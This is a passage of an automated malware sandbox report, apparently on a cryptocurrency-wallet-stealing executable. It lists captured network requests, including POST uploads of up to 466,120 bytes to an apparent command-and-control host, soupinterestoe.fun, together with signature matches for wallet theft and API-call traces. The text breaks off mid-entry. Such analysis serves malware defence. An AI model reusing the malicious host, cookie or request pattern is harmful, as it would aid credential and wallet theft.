/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAdS7ewt%2F%2FetmSOTnuOLgSw%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /gts1c3/moVDfISia2k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/moVDfISia2k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/moVDfISia2k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/moVDfISia2k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "/gts1c3/zdATt0Ex" in header "GET /gts1c3/zdATt0Ex_Fk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/zdATt0Ex_Fk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/zdATt0Ex_Fk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "crls" in header "GET /gts1c3/zdATt0Ex_Fk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/zdATt0Ex_Fk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crls.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEDEixfO34qnbCeE6N8VMp00%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "form" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: soupinterestoe.fun" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "form" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "urlencodedCookie" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "O7Eft1N0" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "/apiUser" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: soupinterestoe.fun" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "data" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "be85de5ipdocierre1Cookie" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "O7Eft1N0" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "/apiUser" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 500Host: soupinterestoe.fun" Contains base64 string in header "2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Contains base64 string in header "POST" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "/api" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "Keep" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "AliveContent" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "Type" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "data" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "be85de5ipdocierre1Cookie" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "O7Eft1N0" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "/apiUser" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun" Contains base64 string in header "like" in header "POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=OpRKQyDbw9ZLfytL72V05LayItbjgdkPDg.O7Eft1N0-1703947905-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 466120Host: soupinterestoe.fun"2b:T5b2,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Found Crypto currency wallets related strings Matched sigs: Decrypted SSL network traffic Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to decrypt/decode data Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: HTTP requests contain Base64 strings Matched sigs: Sample file has high entropy (likely encrypted/compressed content)2c:T2510,"dcb10b49c7d8d03b15484c3ca04e7086.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005184) "tv5xp30.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005220) "AD1Sg20.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005176) "2kJ9830.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005160) "2kJ9830.exe" called 